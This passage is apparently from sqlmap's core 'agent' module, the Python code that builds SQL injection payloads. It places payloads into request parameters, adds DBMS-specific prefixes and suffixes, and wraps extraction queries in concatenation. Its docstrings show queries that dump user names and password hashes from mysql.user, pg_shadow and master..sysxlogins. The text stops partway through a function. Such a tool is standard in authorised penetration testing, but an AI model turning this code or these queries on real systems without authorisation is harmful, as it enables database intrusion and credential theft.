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1249 lines (992 loc) · 57.1 KB
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#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import filterNone
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isNumber
from lib.core.common import isTechniqueAvailable
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.common import splitFields
from lib.core.common import unArrayizeValue
from lib.core.common import urlencode
from lib.core.common import zeroDepthSearch
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
from lib.core.dicts import DUMP_DATA_PREPROCESS
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BOUNDED_BASE64_MARKER
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import GENERIC_SQL_COMMENT
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import UNICODE_ENCODING
from lib.core.unescaper import unescaper
from thirdparty import six
class Agent(object):
"""
This class defines the SQL agent methods.
"""
def payloadDirect(self, query):
query = self.cleanupPayload(query)
if query.upper().startswith("AND "):
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
elif query.upper().startswith(" UNION ALL "):
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
elif query.startswith("; "):
query = query.replace("; ", "", 1)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
for field in fieldsToCastStr.split(','):
query = query.replace(field, self.nullAndCastField(field))
if kb.tamperFunctions:
for function in kb.tamperFunctions:
query = function(payload=query)
return query
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
retVal = ""
if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(getTechnique()):
where = getTechniqueData().where
if kb.injection.place is not None:
place = kb.injection.place
if kb.injection.parameter is not None:
parameter = kb.injection.parameter
paramString = conf.parameters[place]
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0]
else:
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ',', '&'):
if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST:
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue[origValue.find(',') + 1:]
origValue = origValue.split(kb.customInjectionMark)[0]
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
if match:
origValue = match.group("value")
elif ',' in paramString:
header = paramString.split(',')[0]
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
origValue = origValue.split(' ')[-1].split(':')[-1]
origValue = origValue or ""
if value is None:
if where == PAYLOAD.WHERE.ORIGINAL:
value = origValue
elif where == PAYLOAD.WHERE.NEGATIVE:
if conf.invalidLogical:
match = re.search(r"\A[^ ]+", newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
value = randomStr(6)
else:
if newValue.startswith("-"):
value = ""
else:
value = "-%s" % randomInt()
elif where == PAYLOAD.WHERE.REPLACE:
value = ""
else:
value = origValue
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue) or ""
if base64Encoding:
_newValue = newValue
_origValue = origValue
if newValue:
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
newValue = self.adjustLateValues(newValue)
# TODO: support for POST_HINT
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
if parameter in kb.base64Originals:
origValue = kb.base64Originals[parameter]
else:
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
if newValue:
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
if base64Encoding:
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
if match:
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
else:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search(r"\\g<([^>]+)>", repl)
if _:
try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError:
break
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
return retVal
if origValue:
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
if retVal:
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
return retVal
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
"""
This method defines how the input expression has to be escaped
to perform the injection depending on the injection type
identified as valid
"""
if conf.direct:
return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression)
expression = unescaper.escape(expression)
query = None
if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
where = getTechniqueData().where
# If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
query = ""
# If the technique is stacked queries (<stype>) do not put a space
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
query = kb.injection.prefix
elif clause == [2, 3] or clause == [2] or clause == [3]:
query = prefix
# In any other case prepend with the full prefix
else:
query = kb.injection.prefix or prefix or ""
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " "
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
return query
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
"""
This method appends the DBMS comment to the
SQL injection request
"""
if conf.direct:
return self.payloadDirect(expression)
if expression is None:
return None
expression = self.cleanupPayload(expression)
# Take default values if None
suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
if getTechnique() is not None and getTechnique() in kb.injection.data:
where = getTechniqueData().where if where is None else where
comment = getTechniqueData().comment if comment is None else comment
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
comment = queries[Backend.getIdentifiedDbms()].comment.query
if comment is not None:
expression += comment
# If we are replacing (<where>) the parameter original value with
# our payload do not append the suffix
if where == PAYLOAD.WHERE.REPLACE and not conf.suffix:
pass
elif suffix and not comment:
if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix):
expression += " "
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
def cleanupPayload(self, payload, origValue=None):
if not isinstance(payload, six.string_types):
return
replacements = {
"[DELIMITER_START]": kb.chars.start,
"[DELIMITER_STOP]": kb.chars.stop,
"[AT_REPLACE]": kb.chars.at,
"[SPACE_REPLACE]": kb.chars.space,
"[DOLLAR_REPLACE]": kb.chars.dollar,
"[HASH_REPLACE]": kb.chars.hash_,
"[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT
}
for value in re.findall(r"\[[A-Z_]+\]", payload):
if value in replacements:
payload = payload.replace(value, replacements[value])
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr())
if origValue is not None:
origValue = getUnicode(origValue)
if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
if INFERENCE_MARKER in payload:
if Backend.getIdentifiedDbms() is not None:
inference = queries[Backend.getIdentifiedDbms()].inference
if "dbms_version" in inference:
if isDBMSVersionAtLeast(inference.dbms_version):
inferenceQuery = inference.query
else:
inferenceQuery = inference.query2
else:
inferenceQuery = inference.query
payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
elif not kb.testMode:
errMsg = "invalid usage of inference payload without "
errMsg += "knowledge of underlying DBMS"
raise SqlmapNoneDataException(errMsg)
return payload
def adjustLateValues(self, payload):
"""
Returns payload with a replaced late tags (e.g. SLEEPTIME)
"""
if payload:
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
payload = payload.replace(match.group(0), _)
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, randomStr())
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
return payload
def getComment(self, request):
"""
Returns comment form for the given request
"""
return request.comment if "comment" in request else ""
def hexConvertField(self, field):
"""
Returns hex converted field string
"""
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return hexField
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
if match:
field, suffix = match.groups()
else:
suffix = ""
nulledCastedField = field
if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
nulledCastedField = field
else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
pass
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
kb.binaryField = conf.binaryFields and field in conf.binaryFields
if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField)
if suffix:
nulledCastedField += suffix
if not kb.nchar:
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not Backend.getIdentifiedDbms():
return fields
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
nulledCastedConcatFields = fields
else:
fieldsSplitted = splitFields(fields)
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
nulledCastedFields = []
for field in fieldsSplitted:
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
return nulledCastedConcatFields
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
fieldsNoSelect = query
_ = zeroDepthSearch(query, " FROM ")
if not _:
fieldsSelectFrom = None
fieldsToCastStr = fieldsNoSelect
if fieldsSubstr:
fieldsToCastStr = query
elif fieldsMinMaxstr:
fieldsToCastStr = fieldsMinMaxstr.group(1)
elif fieldsExists:
if fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.group(2)
elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct:
if Backend.getDbms() in (DBMS.HSQLDB,):
fieldsToCastStr = fieldsNoSelect
else:
fieldsToCastStr = fieldsSelectDistinct.group(1)
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.group(1)
elif fieldsSelectFrom:
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
fieldsToCastStr = fieldsToCastStr or ""
# Function
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = splitFields(fieldsToCastStr)
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
def simpleConcatenate(self, first, second):
rootQuery = queries[Backend.getIdentifiedDbms()]
return rootQuery.concatenate.query % (first, second)
def preprocessField(self, table, field):
"""
Does a field preprocessing (if needed) based on its type (e.g. image to text)
Note: used primarily in dumping of custom tables
"""
retVal = field
if conf.db and table and conf.db in table:
table = table.split(conf.db)[-1].strip('.')
try:
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
for name, type_ in columns.items():
if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
break
except KeyError:
pass
return retVal
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
if unpack:
concatenatedQuery = ""
query = query.replace(", ", ',')
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
return query
if Backend.isDbms(DBMS.MYSQL):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsSelectFrom:
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
concatenatedQuery += ")||'%s'" % kb.chars.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.isDbms(DBMS.ACCESS):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
concatenatedQuery += "&'%s'" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
concatenatedQuery += ")&'%s'" % kb.chars.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
concatenatedQuery += "&'%s'" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
else:
warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
if _ != concatenatedQuery:
concatenatedQuery = _
fieldsSelectFrom = None
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom or fieldsSelect:
fromTable = ""
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
if _:
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
chars = [_ for _ in replacement]
count = 0
